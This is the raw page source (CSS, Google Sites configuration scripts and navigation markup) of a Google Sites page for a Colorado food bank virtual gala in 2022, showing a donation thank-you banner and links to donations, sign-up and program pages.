rgba(249,249,249,1);}.fOU46b .a3ETed .PsKE7e.YSH9J:not(.M9vuGd):hover{color: rgba(249,249,249,0.8199999928);}.GBy4H .YSH9J{color: rgba(249,249,249,1);}.GBy4H .PsKE7e.YSH9J:not(.M9vuGd):hover{color: rgba(249,249,249,0.8199999928);}.LBrwzc .YSH9J{color: rgba(28,28,28,1);}.LBrwzc .PsKE7e.YSH9J:not(.M9vuGd):hover{color: rgba(28,28,28,0.8199999928);}.GBy4H .oNsfjf{color: rgba(249,249,249,1);}.GBy4H .PsKE7e.oNsfjf:not(.lhZOrc):hover{color: rgba(249,249,249,0.8199999928);}.LBrwzc .oNsfjf{color: rgba(28,28,28,1);}.LBrwzc .PsKE7e.oNsfjf:not(.lhZOrc):hover{color: rgba(28,28,28,0.8199999928);}.M9vuGd{font-weight: bold;}.lhZOrc{font-weight: bold;}.LB7kq{padding-bottom: 56px; padding-top: 56px;}.qnVSj{color: rgba(28,28,28,1);}.zfr3Q{color: rgba(28,28,28,1);}.qeLZfd .qnVSj{color: rgba(28,28,28,1);}.qeLZfd .zfr3Q{color: rgba(28,28,28,1);}.lQAHbd .qnVSj{color: rgba(249,249,249,1);}.lQAHbd .zfr3Q{color: rgba(249,249,249,1);}.tpmmCb .qnVSj{color: rgba(28,28,28,1);}.tpmmCb .zfr3Q{color: rgba(28,28,28,1);}.nyKByd .qnVSj{color: rgba(249,249,249,1);}.nyKByd .zfr3Q{color: rgba(249,249,249,1);}.qLrapd{color: rgba(204,67,49,1);}.duRjpb{color: rgba(204,67,49,1);}.duRjpb .OUGEr{color: rgba(204,67,49,1);}.qeLZfd .qLrapd{color: rgba(204,67,49,1);}.qeLZfd .duRjpb{color: rgba(204,67,49,1);}.qeLZfd .duRjpb .OUGEr{color: rgba(204,67,49,1);}.lQAHbd .qLrapd{color: rgba(249,249,249,1);}.lQAHbd .duRjpb{color: rgba(249,249,249,1);}.lQAHbd .duRjpb .OUGEr{color: rgba(249,249,249,1);}.tpmmCb .qLrapd{color: rgba(28,28,28,1);}.tpmmCb .duRjpb{color: rgba(28,28,28,1);}.tpmmCb .duRjpb .OUGEr{color: rgba(28,28,28,1);}.nyKByd .qLrapd{color: rgba(249,249,249,1);}.nyKByd .duRjpb{color: rgba(249,249,249,1);}.nyKByd .duRjpb .OUGEr{color: rgba(249,249,249,1);}.aHM7ed{color: rgba(204,67,49,1);}.JYVBee{color: rgba(204,67,49,1);}.JYVBee .OUGEr{color: rgba(204,67,49,1);}.qeLZfd .aHM7ed{color: rgba(204,67,49,1);}.qeLZfd .JYVBee{color: rgba(204,67,49,1);}.qeLZfd .JYVBee .OUGEr{color: rgba(204,67,49,1);}.lQAHbd .aHM7ed{color: rgba(249,249,249,1);}.lQAHbd .JYVBee{color: rgba(249,249,249,1);}.lQAHbd .JYVBee .OUGEr{color: rgba(249,249,249,1);}.tpmmCb .aHM7ed{color: rgba(28,28,28,1);}.tpmmCb .JYVBee{color: rgba(28,28,28,1);}.tpmmCb .JYVBee .OUGEr{color: rgba(28,28,28,1);}.nyKByd .aHM7ed{color: rgba(249,249,249,1);}.nyKByd .JYVBee{color: rgba(249,249,249,1);}.nyKByd .JYVBee .OUGEr{color: rgba(249,249,249,1);}.NHD4Gf{color: rgba(204,67,49,1);}.OmQG5e{color: rgba(204,67,49,1);}.OmQG5e .OUGEr{color: rgba(204,67,49,1);}.qeLZfd .NHD4Gf{color: rgba(28,28,28,1);}.qeLZfd .OmQG5e{color: rgba(28,28,28,1);}.qeLZfd .OmQG5e .OUGEr{color: rgba(28,28,28,1);}.lQAHbd .NHD4Gf{color: rgba(249,249,249,1);}.lQAHbd .OmQG5e{color: rgba(249,249,249,1);}.lQAHbd .OmQG5e .OUGEr{color: rgba(249,249,249,1);}.tpmmCb .NHD4Gf{color: rgba(28,28,28,1);}.tpmmCb .OmQG5e{color: rgba(28,28,28,1);}.tpmmCb .OmQG5e .OUGEr{color: rgba(28,28,28,1);}.nyKByd .NHD4Gf{color: rgba(249,249,249,1);}.nyKByd .OmQG5e{color: rgba(249,249,249,1);}.nyKByd .OmQG5e .OUGEr{color: rgba(249,249,249,1);}.Glwbz{color: rgba(28,28,28,1);}.TMjjoe{color: rgba(28,28,28,1);}.qeLZfd .Glwbz{color: rgba(28,28,28,1);}.qeLZfd .TMjjoe{color: rgba(28,28,28,1);}.lQAHbd .Glwbz{color: rgba(249,249,249,1);}.lQAHbd .TMjjoe{color: rgba(249,249,249,1);}.tpmmCb .Glwbz{color: rgba(28,28,28,1);}.tpmmCb .TMjjoe{color: rgba(28,28,28,1);}.nyKByd .Glwbz{color: rgba(249,249,249,1);}.nyKByd .TMjjoe{color: rgba(249,249,249,1);}.aw5Odc{color: rgba(204,67,49,1);}.qeLZfd .aw5Odc{color: rgba(28,28,28,1);}.lQAHbd .aw5Odc{color: rgba(249,249,249,1);}.tpmmCb .aw5Odc{color: rgba(28,28,28,1);}.nyKByd .aw5Odc{color: rgba(249,249,249,1);}.ImnMyf{color: rgba(28,28,28,1);}.Vs12Bd{color: rgba(28,28,28,1);}.S5d9Rd{color: rgba(249,249,249,1);}.yaqOZd:before{display: block; background-color: rgba(255,255,255,1);}.yaqOZd.qeLZfd:before{display: block; background-color: rgba(241,225,221,1);}.yaqOZd.lQAHbd:before{display: block; background-color: rgba(115,67,50,1);}.O13XJf{height: 340px;}.nyKByd .Wew9ke{fill: rgba(255,255,255,1);}.tpmmCb .Wew9ke{fill: rgba(0,0,0,0.5400000215);}@media only screen and (max-width: 479px){.O13XJf{height: 250px;}}.SBrW1{height: 430px;}.M63kCb{background-color: rgba(255,255,255,1);}.mtsG9b{background-color: rgba(0,0,0,0.0299999993); outline-color: rgba(0,0,0,0.1000000015);}.qeLZfd .mtsG9b{background-color: rgba(0,0,0,0.0299999993); outline-color: rgba(0,0,0,0.1000000015);}.lQAHbd .mtsG9b{background-color: rgba(255,255,255,0.200000003); outline-color: rgba(255,255,255,0.3199999928);}.ImnMyf{background-color: rgba(255,255,255,1);}.Vs12Bd{background-color: rgba(241,225,221,1);}.S5d9Rd{background-color: rgba(115,67,50,1);}.Wwnuce:not(.zX62Be){color: rgba(0,0,0,0.5400000215); fill: rgba(0,0,0,0.5400000215);}.qeLZfd .Wwnuce:not(.zX62Be){color: rgba(0,0,0,0.5400000215); fill: rgba(0,0,0,0.5400000215);}.lQAHbd .Wwnuce:not(.zX62Be){color: rgba(255,255,255,0.3199999928); fill: rgba(255,255,255,0.3199999928);}.tpmmCb .Wwnuce:not(.zX62Be){color: rgba(0,0,0,0.5400000215); fill: rgba(0,0,0,0.5400000215);}.nyKByd .Wwnuce:not(.zX62Be){color: rgba(255,255,255,0.3199999928); fill: rgba(255,255,255,0.3199999928);}.yaqOZd.O13XJf:before{background-color: rgba(204,67,49,1);}.CMArNe{background-color: rgba(204,67,49,1);}.CDt4Ke.zfr3Q{font-family: Amiri; font-weight: 400; font-style: normal; font-variant: normal; vertical-align: baseline; text-decoration: none; display: block; line-height: 1.5; text-align: left; margin-left: 0.0pt; margin-right: 0.0pt; padding-left: 0.0pt; text-indent: 0.0pt; margin-top: 12.0pt; margin-bottom: 0.0pt; font-size: 12.0pt;}.TYR86d.zfr3Q{font-family: Amiri; font-weight: 400; font-style: normal; font-variant: normal; vertical-align: baseline; font-size: 12.0pt;}.CDt4Ke.duRjpb{font-family: Amiko; font-weight: 400; font-style: normal; font-variant: normal; vertical-align: baseline; text-decoration: none; display: block; line-height: 1.38; text-align: left; margin-left: 0.0pt; margin-right: 0.0pt; padding-left: 0.0pt; text-indent: 0.0pt; margin-top: 34.0pt; margin-bottom: 0.0pt;}.TYR86d.duRjpb{font-family: Amiko; font-weight: 400; font-style: normal; font-variant: normal; vertical-align: baseline;}.CDt4Ke.duRjpb{font-size: 34.0pt;}.TYR86d.duRjpb{font-size: 34.0pt;}@media only screen and (max-width: 479px){.CDt4Ke.duRjpb{font-size: 25.0pt;}}@media only screen and (max-width: 479px){.TYR86d.duRjpb{font-size: 25.0pt;}}@media only screen and (min-width: 480px) and (max-width: 767px){.CDt4Ke.duRjpb{font-size: 30.0pt;}}@media only screen and (min-width: 480px) and (max-width: 767px){.TYR86d.duRjpb{font-size: 30.0pt;}}@media only screen and (min-width: 768px) and (max-width: 1279px){.CDt4Ke.duRjpb{font-size: 34.0pt;}}@media only screen and (min-width: 768px) and (max-width: 1279px){.TYR86d.duRjpb{font-size: 34.0pt;}}@media only screen and (min-width: 1280px){.CDt4Ke.duRjpb{font-size: 34.0pt;}}@media only screen and (min-width: 1280px){.TYR86d.duRjpb{font-size: 34.0pt;}}.CDt4Ke.JYVBee{font-family: Amiko; font-weight: 400; font-style: normal; font-variant: normal; vertical-align: baseline; text-decoration: none; display: block; line-height: 1.5; text-align: left; margin-left: 0.0pt; margin-right: 0.0pt; padding-left: 0.0pt; text-indent: 0.0pt; margin-top: 18.0pt; margin-bottom: 0.0pt;}.TYR86d.JYVBee{font-family: Amiko; font-weight: 400; font-style: normal; font-variant: normal; vertical-align: baseline;}.CDt4Ke.JYVBee{font-size: 18.0pt;}.TYR86d.JYVBee{font-size: 18.0pt;}@media only screen and (max-width: 479px){.CDt4Ke.JYVBee{font-size: 17.0pt;}}@media only screen and (max-width: 479px){.TYR86d.JYVBee{font-size: 17.0pt;}}@media only screen and (min-width: 480px) and (max-width: 767px){.CDt4Ke.JYVBee{font-size: 17.0pt;}}@media only screen and (min-width: 480px) and (max-width: 767px){.TYR86d.JYVBee{font-size: 17.0pt;}}@media only screen and (min-width: 768px) and (max-width: 1279px){.CDt4Ke.JYVBee{font-size: 18.0pt;}}@media only screen and (min-width: 768px) and (max-width: 1279px){.TYR86d.JYVBee{font-size: 18.0pt;}}@media only screen and (min-width: 1280px){.CDt4Ke.JYVBee{font-size: 18.0pt;}}@media only screen and (min-width: 1280px){.TYR86d.JYVBee{font-size: 18.0pt;}}.CDt4Ke.OmQG5e{font-family: Amiko; font-weight: 400; font-style: normal; font-variant: normal; vertical-align: baseline; text-decoration: none; display: block; line-height: 1.5; text-align: left; margin-left: 0.0pt; margin-right: 0.0pt; padding-left: 0.0pt; text-indent: 0.0pt; margin-top: 14.0pt; margin-bottom: 0.0pt; font-size: 14.0pt;}.TYR86d.OmQG5e{font-family: Amiko; font-weight: 400; font-style: normal; font-variant: normal; vertical-align: baseline; font-size: 14.0pt;}.CDt4Ke.TMjjoe{font-family: Amiri; font-weight: 400; font-style: normal; font-variant: normal; vertical-align: baseline; text-decoration: none; display: block; line-height: 1.5; text-align: left; margin-left: 0.0pt; margin-right: 0.0pt; padding-left: 0.0pt; text-indent: 0.0pt; margin-top: 8.0pt; margin-bottom: 0.0pt; font-size: 8.0pt;}.TYR86d.TMjjoe{font-family: Amiri; font-weight: 400; font-style: normal; font-variant: normal; vertical-align: baseline; font-size: 8.0pt;}.Y4CpGd{font-family: Amiri; font-weight: 400; font-style: normal; font-variant: normal; vertical-align: baseline; font-size: 12.0pt;}.mTgrD{font-family: Amiri; font-weight: 400; font-style: normal; font-variant: normal; vertical-align: baseline;}.pBmh1{margin-top: 12.0pt; margin-bottom: 0.0pt;}.yQHJof{font-family: Amiri; font-weight: 400; font-style: normal; font-variant: normal; vertical-align: baseline; font-size: 8.0pt;}.QcmuFb{padding-left: 20px;}.RuayVd{padding-right: 20px;}.vDPrib{padding-left: 40px;}.YzcKX{padding-right: 40px;}.TBDXjd{padding-left: 60px;}.reTV0b{padding-right: 60px;}.bYeK8e{padding-left: 80px;}.vSYeUc{padding-right: 80px;}.CuqSDe{padding-left: 100px;}.PxtZIe{padding-right: 100px;}.Havqpe{padding-left: 120px;}.ahQMed{padding-right: 120px;}.JvDrRe{padding-left: 140px;}.rzhcXb{padding-right: 140px;}.o5lrIf{padding-left: 160px;}.PBhj0b{padding-right: 160px;}.yOJW7c{padding-left: 180px;}.TlN46c{padding-right: 180px;}.rB8cye{padding-left: 200px;}.GEdNnc{padding-right: 200px;}section[id="h.INITIAL_GRID.n3fzw246rj3t"] .IFuOkc:before{opacity: 0.0;}</style><script nonce="dJWtMAFtmjuzNhlJ8bIveA">_at_config = [null,"AIzaSyChg3MFqzdi1P5J-YvEyakkSA1yU7HRcDI","897606708560-a63d8ia0t9dhtpdt4i3djab2m42see7o.apps.googleusercontent.com",null,null,"v2",null,null,null,null,null,null,null,"https://content.googleapis.com","SITES_%s",null,null,null,null,null,null,null,null,null,["AHKXmL1MGF1ekJwZ7ImMIsBqcBQsznld2L-cmkD1fvo3__hVRKGz2kgjuuVlAmTuk11wub40VroJ",1,"CKzFibfim_UCFYvETwodiz4BJA",1641425483752000,[5703839,5704621,5706832,5706836,5707711,5708870,5711808,5711977,5713207,5714550,5714628,5720060,5720927,5729666,5732944,5734573,5734956,5735808,5737339,5738511,5738531,5739804,5739899,5740816,5741777,5742464,5743126,5745624,5747265,5747743,5748031,5750554,5752696,5753008,5753331,5754231,5755040,14101306,14101502,14101510,14101530,14101534]],"AHL0AtJIu8EZKv94yZDQhDCZvsbjS2KbEQ:1641425483672",null,null,null,0,null,null,null,null,null,null,null,null,null,"https://drive.google.com",null,null,null,null,null,null,1,1,null,0,1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,"v2internal","https://docs.google.com",null,null,null,null,null,null,"https://sites.google.com/new/?authuser\u003d0",null,null,null,null,null,0,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,"",null,null,null,null,null,null,null,null,null,null,null,null,6,null,null,"https://accounts.google.com/o/oauth2/auth","https://accounts.google.com/o/oauth2/postmessageRelay",null,null,null,null,78,"https://sites.google.com/new/?authuser\u003d0\u0026usp\u003dviewer_footer\u0026authuser\u003d0",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[],null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,"https://www.gstatic.com/atari/embeds/7925c5f8e01bacb9b4b0a3783ae0b867/intermediate-frame-minified.html",0,null,"v2beta",null,null,null,null,null,null,4,"https://accounts.google.com/o/oauth2/iframe",null,null,null,null,null,null,"https://597964177-atari-embeds.googleusercontent.com/embeds/16cb204cf3a9d4d223a0a3fd8b0eec5d/inner-frame-minified.html",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,"https://sites.google.com/lpsk12.org/coloradofoodabankvirtualgala22/home",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,null,null,null,null,null,null,0,null,"015epov1",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,1,null,null,[1641425483760,"atari_2021.50-Tue-0500_RC00","416272957","0",0,1],null,null,null,null,1,null,null,0,null,0,0,null,null,null,null,0,20,500,"https://domains.google.com",null,0,null,null,null,null,null,0,null,null,0,null,null,0,0,null,0,0,0,0,1,0,0]; window.globals = {"enableAnalytics":true,"webPropertyId":"","showDebug":false,"hashedSiteId":"52cf826c547e26693831efcb95844ab08186349e9a69e5abc92a9c1fc6bd6291","normalizedPath":"lpsk12.org/coloradofoodabankvirtualgala22/home","pageTitle":"Home"}; function gapiLoaded() {if (globals.gapiLoaded == undefined) {globals.gapiLoaded = true;} else {globals.gapiLoaded();}}window.messages = []; window.addEventListener && window.addEventListener('message', function(e) {if (window.messages && e.data && e.data.magic == 'SHIC') {window.messages.push(e);}});</script><script src="https://apis.google.com/js/client.js?onload=gapiLoaded" nonce="dJWtMAFtmjuzNhlJ8bIveA"></script><script nonce="dJWtMAFtmjuzNhlJ8bIveA">(function(){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ /* Copyright 2011 Google LLC. SPDX-License-Identifier: Apache-2.0 */ /* Copyright 2013 Google LLC. SPDX-License-Identifier: Apache-2.0 */ /* Copyright 2020 Google LLC. SPDX-License-Identifier: Apache-2.0 */ var a=(this||self)._jsa||{};a._cfc=void 0;a._aeh=void 0;/* Copyright 2005 Google LLC. SPDX-License-Identifier: Apache-2.0 */ }).call(this); </script><script nonce="dJWtMAFtmjuzNhlJ8bIveA">const imageUrl = 'https:\/\/lh4.googleusercontent.com\/9lhhVkiT_eCVcC4OS4ACkNychxfCjMCwmWJy3WD6nem2A_T8tlGAA1yF_Lhkw3p4zn7ooa2GL0hW11ap7SxkIsM\x3dw16383'; function bgImgLoaded() { if (!globals.headerBgImgLoaded) { globals.headerBgImgLoaded = new Date().getTime(); } else { globals.headerBgImgLoaded(); } } if (imageUrl) { const img = new Image(); img.src = imageUrl; img.onload = bgImgLoaded; globals.headerBgImgExists = true; } else { globals.headerBgImgExists = false; } </script></head><body dir="ltr" itemscope itemtype="http://schema.org/WebPage" id="yDmH0d" css="yDmH0d"><div jscontroller="pc62j" jsmodel="iTeaXe" jsaction="rcuQ6b:WYd;GvneHb:og1FDd;vbaUQc:uAM5ec;YBArc:dj7Cne;"><div jscontroller="X4BaPc" jsaction="rcuQ6b:WYd;o6xM5b:Pg9eo;HuL2Hd:mHeCvf;VMhF5:FFYy5e;sk3Qmb:HI1Mdd;JIbuQc:rSzFEd(z2EeY),aSaF6e(ilzYPe);"><div jscontroller="o1L5Wb" data-sitename="coloradofoodabankvirtualgala22" data-domain="lpsk12.org" data-universe="1" jsmodel="fNFZH" jsaction="Pe9H6d:cZFEp;WMZaJ:VsGN3;hJluRd:UADL7b;zuqEgd:HI9w0;tr6QDd:Y8aXB;MxH79b:xDkBfb;JIbuQc:SPXMTb(uxAMZ);" jsname="G0jgYd"><div jsname="gYwusb" class="p9b27"></div><div jscontroller="RrXLpc" jsname="XeeWQc" role="banner" jsaction="keydown:uiKYid(OH0EC);rcuQ6b:WYd;zuqEgd:ufqpf;JIbuQc:XfTnxb(lfEfFf),AlTiYc(GeGHKb),AlTiYc(m1xNUe),zZlNMe(pZn8Oc);YqO5N:ELcyfe;"><div jsname="bF1uUb" class="BuY5Fd" jsaction="click:xVuwSc;"></div><div jsname="MVsrn" class="TbNlJb "><div role="button" class="U26fgb mUbCce fKz7Od h3nfre M9Bg4d" jscontroller="VXdfxd" jsaction="click:cOuCgd; mousedown:UX7yZ; mouseup:lbsD7e; mouseenter:tfO1Yc; mouseleave:JywGue; focus:AHmuwe; blur:O22p3e; contextmenu:mg9Pef;touchstart:p6p2H; touchmove:FwuNnf; touchend:yfqBxc(preventMouseEvents=true|preventDefault=true); touchcancel:JMtRjd;" jsshadow jsname="GeGHKb" aria-label="Back to site" aria-disabled="false" tabindex="0" data-tooltip="Back to site" data-tooltip-vertical-offset="-12" data-tooltip-horizontal-offset="0"><div class="VTBa7b MbhUzd" jsname="ksKsZd"></div><span jsslot class="xjKiLb"><span class="Ce1Y1c" style="top: -12px"><svg class="V4YR2c" viewBox="0 0 24 24" focusable="false"><path d="M0 0h24v24H0z" fill="none"/><path d="M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20v-2z"/></svg></span></span></div><div class="E2UJ5" jsname="M6JdT"><div class="rFrNMe b7AJhc zKHdkd" jscontroller="pxq3x" jsaction="clickonly:KjsqPd; focus:Jt1EX; blur:fpfTEe; input:Lg5SV" jsshadow jsname="OH0EC" aria-expanded="true"><div class="aCsJod oJeWuf"><div class="aXBtI I0VJ4d Wic03c"><span jsslot class="A37UZe qgcB3c iHd5yb"><div role="button" class="U26fgb mUbCce fKz7Od i3PoXe M9Bg4d" jscontroller="VXdfxd" jsaction="click:cOuCgd; mousedown:UX7yZ; mouseup:lbsD7e; mouseenter:tfO1Yc; mouseleave:JywGue; focus:AHmuwe; blur:O22p3e; contextmenu:mg9Pef;touchstart:p6p2H; touchmove:FwuNnf; touchend:yfqBxc(preventMouseEvents=true|preventDefault=true); touchcancel:JMtRjd;" jsshadow jsname="lfEfFf" aria-label="Search" aria-disabled="false" tabindex="0" data-tooltip="Search" data-tooltip-vertical-offset="-12" data-tooltip-horizontal-offset="0"><div class="VTBa7b MbhUzd" jsname="ksKsZd"></div><span jsslot class="xjKiLb"><span class="Ce1Y1c" style="top: -12px"><svg class="vu8Pwe" viewBox="0 0 24 24" focusable="false"><path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"/><path d="M0 0h24v24H0z" fill="none"/></svg></span></span></div><div class="EmVfjc SKShhf" data-loadingmessage="Loading…" jscontroller="qAKInc" jsaction="animationend:kWijWc;dyRcpb:dyRcpb" jsname="aZ2wEe"><div class="Cg7hO" aria-live="assertive" jsname="vyyg5"></div><div jsname="Hxlbvc" class="xu46lf"><div class="ir3uv uWlRce co39ub"><div class="xq3j6 ERcjC"><div class="X6jHbb GOJTSe"></div></div><div class="HBnAAc"><div class="X6jHbb GOJTSe"></div></div><div class="xq3j6 dj3yTd"><div class="X6jHbb GOJTSe"></div></div></div><div class="ir3uv GFoASc Cn087"><div class="xq3j6 ERcjC"><div class="X6jHbb GOJTSe"></div></div><div class="HBnAAc"><div class="X6jHbb GOJTSe"></div></div><div class="xq3j6 dj3yTd"><div class="X6jHbb GOJTSe"></div></div></div><div class="ir3uv WpeOqd hfsr6b"><div class="xq3j6 ERcjC"><div class="X6jHbb GOJTSe"></div></div><div class="HBnAAc"><div class="X6jHbb GOJTSe"></div></div><div class="xq3j6 dj3yTd"><div class="X6jHbb GOJTSe"></div></div></div><div class="ir3uv rHV3jf EjXFBf"><div class="xq3j6 ERcjC"><div class="X6jHbb GOJTSe"></div></div><div class="HBnAAc"><div class="X6jHbb GOJTSe"></div></div><div class="xq3j6 dj3yTd"><div class="X6jHbb GOJTSe"></div></div></div></div></div><div role="button" class="U26fgb mUbCce fKz7Od JyJRXe M9Bg4d" jscontroller="VXdfxd" jsaction="click:cOuCgd; mousedown:UX7yZ; mouseup:lbsD7e; mouseenter:tfO1Yc; mouseleave:JywGue; focus:AHmuwe; blur:O22p3e; contextmenu:mg9Pef;touchstart:p6p2H; touchmove:FwuNnf; touchend:yfqBxc(preventMouseEvents=true|preventDefault=true); touchcancel:JMtRjd;" jsshadow jsname="m1xNUe" aria-label="Back to site" aria-disabled="false" tabindex="0" data-tooltip="Back to site" data-tooltip-vertical-offset="-12" data-tooltip-horizontal-offset="0"><div class="VTBa7b MbhUzd" jsname="ksKsZd"></div><span jsslot class="xjKiLb"><span class="Ce1Y1c" style="top: -12px"><svg class="V4YR2c" viewBox="0 0 24 24" focusable="false"><path d="M0 0h24v24H0z" fill="none"/><path d="M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20v-2z"/></svg></span></span></div></span><div class="Xb9hP"><input type="search" class="whsOnd zHQkBf" jsname="YPqjbf" autocomplete="off" tabindex="0" aria-label="Search this site" value="" autofocus role="combobox" data-initial-value=""/><div jsname="LwH6nd" class="ndJi5d snByac" aria-hidden="true">Search this site</div></div><span jsslot class="A37UZe sxyYjd MQL3Ob"><div role="button" class="U26fgb mUbCce fKz7Od Kk06A M9Bg4d" jscontroller="VXdfxd" jsaction="click:cOuCgd; mousedown:UX7yZ; mouseup:lbsD7e; mouseenter:tfO1Yc; mouseleave:JywGue; focus:AHmuwe; blur:O22p3e; contextmenu:mg9Pef;touchstart:p6p2H; touchmove:FwuNnf; touchend:yfqBxc(preventMouseEvents=true|preventDefault=true); touchcancel:JMtRjd;" jsshadow jsname="pZn8Oc" aria-label="Clear search" aria-disabled="false" tabindex="0" data-tooltip="Clear search" data-tooltip-vertical-offset="-12" data-tooltip-horizontal-offset="0"><div class="VTBa7b MbhUzd" jsname="ksKsZd"></div><span jsslot class="xjKiLb"><span class="Ce1Y1c" style="top: -12px"><svg class="fAUEUd" viewBox="0 0 24 24" focusable="false"><path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"></path><path d="M0 0h24v24H0z" fill="none"></path></svg></span></span></div></span><div class="i9lrp mIZh1c"></div><div jsname="XmnwAc" class="OabDMe cXrdqd"></div></div></div><div class="LXRPh"><div jsname="ty6ygf" class="ovnfwe Is7Fhb"></div></div></div></div></div></div></div><div jsname="tiN4bf"><div class="M63kCb"></div><div class="fktJzd AKpWA DdtOdf fOU46b Ly6Unf b2Iqye XeSM4" jsname="UzWXSb" data-uses-custom-theme="true" jscontroller="Md9ENb" jsaction="gsiSmd:Ffcznf;yj5fUd:cpPetb;HNXL3:q0Vyke;rcuQ6b:WYd;"><header id="atIdViewHeader"><div jscontroller="eFZtfd" jsaction="MxH79b:Xgd9s; click:Ptdedd;"><div jsname="NKtjmd" style="background-color: rgb(204, 67, 49);" class="vB4mjb QOTFId" role="region" aria-labelledby="i1" tabbable tabindex="0"><p style="color: rgb(255, 255, 255);" id="i1" class="Y4CpGd jCzMm">Thank you for donating to the Colorado Gala Food Bank!</p></div></div><div class="BbxBP HP6J1d" jsname="WA9qLc" jscontroller="RQOkef" jsaction="rcuQ6b:JdcaS;MxH79b:JdcaS;VbOlFf:ywL4Jf;FaOgy:ywL4Jf; keydown:Hq2uPe; wheel:Ut4Ahc;" data-top-navigation="false" data-is-preview="false"><div class="DXsoRd YTv4We oNsfjf" role="button" tabindex="0" jsaction="click:LUvzV" jsname="z4Tpl" id="s9iPrd" aria-haspopup="true" aria-controls="yuynLe" aria-expanded="false"><svg class="wFCWne" viewBox="0 0 24 24" stroke="currentColor" jsname="B1n9ub" focusable="false"><g transform="translate(12,12)"><path class="hlJH0" d="M-9 -5 L9 -5" fill="none" stroke-width="2"/><path class="HBu6N" d="M-9 0 L9 0" fill="none" stroke-width="2"/><path class="cLAGQe" d="M-9 5 L9 5" fill="none" stroke-width="2"/></g></svg></div><nav class="JzO0Vc" jsname="ihoMLd" role="navigation" tabindex="-1" id="yuynLe" jsaction="transitionend:UD2r5"><a class="XMyrgf" href="/lpsk12.org/coloradofoodabankvirtualgala22/home"><img src="https://lh6.googleusercontent.com/1d00Wotr822E8Bwc0LjjJkez2-wxblKSuwbEMYF7aaCTUyXtCBQ8fRpyRoCwrxxCr26KCRSH93bjIZ-T_dX0Pjo=w16383" class="r9CsCb" role="img" aria-label="Site home"></a><a class="Zjiec oNsfjf" href="/lpsk12.org/coloradofoodabankvirtualgala22/home"><span>Coloradofoodabankvirtualgala2022</span></a><ul class="jYxBte Fpy8Db" role="navigation" tabindex="-1"><li jsname="ibnC6b" nav-level="1"><div class="PsKE7e r8s4j-R6PoUb IKA38e baH5ib oNsfjf lhZOrc" aria-current="true"><div class="I35ICb" jsaction="keydown:mPuKz(QwLHlb); click:vHQTA(QwLHlb);"><a class="aJHbb dk90Ob hDrhEe HlqNPb" jsname="QwLHlb" role="link" tabindex="0" data-navtype="1" aria-selected="true" href="/lpsk12.org/coloradofoodabankvirtualgala22/home" data-url="/lpsk12.org/coloradofoodabankvirtualgala22/home" data-type="1" data-level="1">Home</a></div></div></li><li jsname="ibnC6b" nav-level="1"><div class="PsKE7e r8s4j-R6PoUb IKA38e baH5ib oNsfjf"><div class="I35ICb" jsaction="keydown:mPuKz(QwLHlb); click:vHQTA(QwLHlb);"><a class="aJHbb dk90Ob hDrhEe HlqNPb" jsname="QwLHlb" role="link" tabindex="0" data-navtype="1" href="/lpsk12.org/coloradofoodabankvirtualgala22/donations" data-url="/lpsk12.org/coloradofoodabankvirtualgala22/donations" data-type="1" data-level="1">Donations</a></div></div></li><li jsname="ibnC6b" nav-level="1"><div class="PsKE7e r8s4j-R6PoUb IKA38e baH5ib oNsfjf"><div class="I35ICb" jsaction="keydown:mPuKz(QwLHlb); click:vHQTA(QwLHlb);"><a class="aJHbb dk90Ob hDrhEe HlqNPb" jsname="QwLHlb" role="link" tabindex="0" data-navtype="1" href="/lpsk12.org/coloradofoodabankvirtualgala22/sign-up-here" data-url="/lpsk12.org/coloradofoodabankvirtualgala22/sign-up-here" data-type="1" data-level="1">Sign Up Here!</a></div></div></li><li jsname="ibnC6b" nav-level="1"><div class="PsKE7e r8s4j-R6PoUb IKA38e baH5ib oNsfjf"><div class="I35ICb" jsaction="keydown:mPuKz(QwLHlb); click:vHQTA(QwLHlb);"><a class="aJHbb dk90Ob hDrhEe HlqNPb" jsname="QwLHlb" role="link" tabindex="0" data-navtype="1" href="/lpsk12.org/coloradofoodabankvirtualgala22/about-us" data-url="/lpsk12.org/coloradofoodabankvirtualgala22/about-us" data-type="1" data-level="1">About Us</a></div></div></li><li jsname="ibnC6b" nav-level="1"><div class="PsKE7e r8s4j-R6PoUb IKA38e baH5ib oNsfjf"><div class="I35ICb" jsaction="keydown:mPuKz(QwLHlb); click:vHQTA(QwLHlb);"><a class="aJHbb dk90Ob hDrhEe HlqNPb" jsname="QwLHlb" role="link" tabindex="0" data-navtype="1" href="/lpsk12.org/coloradofoodabankvirtualgala22/view-program" data-url="/lpsk12.org/coloradofoodabankvirtualgala22/view-program" data-type="1" data-level="1">View Program!</a></div></div></li></ul></nav><div class="VLoccc QDWEj" jsname="rtFGi"><div class="Pvc6xe"><div jsname="I8J07e" 